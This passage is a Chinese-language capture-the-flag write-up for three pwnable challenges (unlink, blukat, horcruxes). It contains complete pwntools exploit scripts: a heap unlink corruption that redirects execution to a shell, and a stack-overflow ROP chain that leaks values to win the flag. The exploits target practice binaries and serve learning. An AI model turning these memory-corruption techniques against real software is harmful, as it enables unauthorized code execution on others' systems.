OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
  • 这里发现会将[ecx-4]的值给esp,然后再ret,而ecx的值是ebp-4的值,所以我们考虑将ebp-4的值覆盖为堆上某一地址,然后在堆上写上后门地址,这样就能ret到后门执行system(‘/bin/sh’)

  • 这里我在A -> buf 写入后门地址(即*(heap_addr + 8)= shell_addr),然后覆盖B - fd = heap_addr+12,B - > bk = ebp-4,当执行unlink函数的时候
1
2
FD -> bk = heap_addr + 12 + 4 = heap_addr + 16 = BK = ebp-4
BK -> fd = ebp-4 = FD = heap_addr + 12
  • 所以[ecx-4] = [heap_addr + 12 - 4] 此时就是后门地址,然后就能getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = process('./unlink')

p.recvuntil('leak: 0x')
stack_addr = int(p.recvuntil('\n',drop = True),16)
log.success('stack addr : 0x%x'%stack_addr)
p.recvuntil('leak: 0x')
heap_addr = int(p.recvuntil('\n',drop = True),16)
log.success('heap addr : 0x%x'%heap_addr)

system_addr = 0X080484EB
ebp_4 = stack_addr + 16


payload = p32(system_addr) + 'a'*4 + p32(0) + p32(0x19)
payload += p32(heap_addr+12) + p32(ebp_4)
#gdb.attach(p)
p.recvuntil('shell!\n')
p.sendline(payload)

p.interactive()

blukat

  • 这题是有点坑的,一开始看了半天还以为是用栈溢出做,结果发现开了NX和CANARY,溢出字节还只有16字节,然后去看了网上的WP,然后发现自己scp的时候把password也copy下来了,才明白权限设置不当使得我们可以直接读取password,所以scp的时候才可以copy password下来

  • 但是一开始password的内容比较坑所以被骗了….没想到password的内容就是这个

horcruxes

  • 需要我们计算出正确的sum才能得到flag,存在栈溢出漏洞,本来想直接rop到输出flag但是gets函数遇到\x0a截止所以只能一个一个泄漏abcdefg然后相加最后再发送,这里注意程序是32位的,atoi函数将字符串转换成整数时如果数字超过范围则转换失败,所以多试几次就有flag了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#apt-get install libseccomp-dev:i386
from pwn import *

context.log_level = 'debug'

#p = process('./horcruxes')
p = remote('0',9032)

sum = 0

def cal(addr):
global sum
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
payload = 'a'*0x74 + 'bbbb' + p32(addr) + p32(0x0809FFFC)
p.sendline(payload)
p.recvuntil('EXP +')
num = int(p.recvuntil(')\n',drop = True))
sum += num




printf_a = 0x0809FE4B
printf_b = 0x0809FE6A
printf_c = 0x0809FE89
printf_d = 0x0809FEA8
printf_e = 0x0809FEC7
printf_f = 0x0809FEE6
printf_g = 0x0809FF05


cal(printf_a)
cal(printf_b)
cal(printf_c)
cal(printf_d)
cal(printf_e)
cal(printf_f)
cal(printf_g)

#gdb.attach(p,'b *0x080A00F8')
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(sum))


p.interactive()